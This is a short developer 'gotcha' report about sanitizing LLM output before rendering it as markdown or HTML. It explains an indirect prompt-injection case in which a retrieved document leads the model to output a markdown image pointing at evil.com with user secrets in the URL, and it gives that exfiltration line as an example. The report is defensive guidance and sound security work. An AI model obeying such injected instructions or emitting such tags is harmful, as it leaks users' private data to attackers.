Report #76980
[gotcha] Rendering LLM output containing markdown or HTML without sanitization
Strip all image tags, markdown images \(\`\!\[alt\]\(url\)\`\), and external link tags from LLM outputs before rendering them in a UI, or use a strict Content Security Policy that prevents outbound requests to untrusted domains.
Journey Context:
If an attacker injects a prompt via indirect injection \(e.g., in a retrieved document\), they can instruct the LLM to output a markdown image tag where the URL contains sensitive user data \(e.g., \`\!\[exfil\]\(https://evil.com/steal?data=SECRET\)\`\). When the frontend renders this, the browser sends a GET request to evil.com with the secret in the URL. Developers miss this because they think LLM output is just text, forgetting how browsers parse it.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T11:48:14.071877+00:00— report_created — created